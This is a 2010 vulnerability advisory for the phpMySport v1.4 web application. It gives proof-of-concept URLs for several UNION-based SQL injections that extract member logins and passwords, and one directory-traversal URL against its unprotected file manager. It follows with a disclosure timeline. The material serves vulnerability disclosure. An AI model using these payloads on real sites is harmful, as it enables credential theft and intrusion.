####################################################################### Multiple Vulnerabilities in phpMySport v1.4 Name Multiple Vulnerabilities in phpMySport Systems Affected phpMySport v1.4 site http://phpmysport.sourceforge.net/en/ Author Amol Naik (amolnaik4[at]gmail.com) Date 18/01/2010 ####################################################################### ############ OVERVIEW ############ phpMySport v1.4 is vulnerable to following issues: 1. Multiple SQL Injection 2. Unprotected Access to File Manager #################### Technical Details #################### 1. Multiple SQL Injection: Multiple SQL Injection instances exist in phpmysport v1.4 when "magic_quotes_gpc = OFF". PoC: +++++ http://localhost/phpmysport/index.php?r=member&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,concat(member_login,0x3a,member_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+pms_member--+- http://localhost/phpmysport/index.php?r=news&v1='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,concat(member_login,0x3a,member_pass),8,9,10,11,12,13,14,15,16,17+from+pms_member--+- http://localhost/phpmysport/index.php?r=information&v1='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,concat(member_login,0x3a,member_pass),9,10,11,12,13,14,15,16,17,18,19+from+pms_member--+- http://localhost/phpmysport/index.php?r=team&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,concat(member_login,0x3a,member_pass),6,7,8+from+pms_member--+- http://localhost/phpmysport/index.php?r=club&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,concat(member_login,0x3a,member_pass),5,6,7,8,9,10,11,12,13,14+from+pms_member--+- http://localhost/phpmysport/index.php?r=matches&v1=view&v2='+AND+1=2+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(member_login,0x3a,member_pass),20,21,22,23,24,25,26,27,28+from+pms_member--+- 2. Unprotected Access to File Manager: Access to File manager is unprotected and by using dot-dot-slash (/../../), it is possible to view directory structure of the target system. PoC: +++++ http://localhost/phpmysport/index.php?r=file&v1=file_manager&current_folder=/../../../&fen=pop ############# TimeLine ############# Bug Discovered: 01/01/2010 Informed Vendor: 09/01/2010 -- no response received Public Disclosure: 18/01/2010